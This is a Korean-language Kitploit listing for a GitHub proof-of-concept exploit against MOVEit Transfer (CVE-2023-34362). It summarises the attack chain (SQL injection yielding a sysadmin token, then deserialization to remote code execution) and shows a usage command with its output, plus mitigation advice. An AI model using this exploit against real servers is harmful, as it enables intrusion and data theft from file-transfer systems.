Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-34362 — MOVEit Transfer에 영향을 미치는 CVE-2023-34362용 POC | Kitploit
도구/GitHubGitHub/malwareman007/cve-2023-34362
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubmalwareman007/cve-2023-34362

CVE-2023-34362

MOVEit Transfer에 영향을 미치는 CVE-2023-34362용 POC

저장소 보기
10223년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-34362

MOVEit Transfer에 영향을 미치는 CVE-2023-34362용 POC

기술적 분석

취약점에 대한 기술적 근본 원인 분석은 블로그에서 확인할 수 있습니다:

요약

  • 이 POC는 SQL 인젝션을 악용하여 sysadmin API 액세스 토큰을 획득한 다음, 해당 액세스를 사용하여 역직렬화 호출을 악용함으로써 원격 코드 실행을 달성합니다.

  • 이 POC는 임의 사용자 토큰을 위조하는 데 사용되는 적절한 RS256 인증서를 호스팅하는 ID 공급자 엔드포인트에 연결해야 합니다. 기본적으로 이 POC는 AWS에서 호스팅되는 당사의 IDP 엔드포인트를 사용합니다.

  • 이 익스플로잇은 기본적으로 C:\Windows\Temp\message.txt 파일을 작성합니다. 대체 페이로드는 ysoserial.net 프로젝트를 사용하여 생성할 수 있습니다.

사용법

python CVE-2023-34362.py https://127.0.0.1
[*] Getting sysadmin access token
[*] Got access token
[*] Getting FolderID
[*] Got FolderID: 963611079
[*] Starting file upload
[*] Got FileID: 965943963
[*] Injecting the payload
[*] Payload injected
[*] Triggering payload via resume call
[+] Triggered the payload!
[*] Deleting uploaded file

완화 조치

최신 버전으로 업데이트하거나 Progress Advisory의 지침에 따라 완화 조치를 적용하십시오.

  • https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023

면책 조항

이 소프트웨어는 순수하게 학술 연구와 효과적인 방어 기법 개발을 목적으로 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용하기 위한 것이 아닙니다. 프로젝트 유지관리자는 이 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하십시오.

도구 다운로드